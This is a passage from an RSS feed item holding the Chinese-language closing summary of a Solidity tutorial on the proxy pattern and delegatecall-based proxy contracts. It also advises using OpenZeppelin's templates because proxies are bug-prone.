first:!mb-0">总结</h2><p>这一讲，我们介绍了代理模式和简单的代理合约。代理合约利用<code>delegatecall</code>将函数调用委托给了另一个逻辑合约，使得数据和逻辑分别由不同合约负责。并且，它利用内联汇编黑魔法，让没有返回值的回调函数也可以返回数据。下一讲，我们会介绍可升级代理合约。</p><p>代理合约虽然很强大，但是它非常容易出<code>bug</code>，用的时候最好直接复制<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/proxy">OpenZepplin</a>的模版合约。</p>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/abff660faef94864217e76f49ee0b0cbebad46807f768a6dc4cc1777e9497f50.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>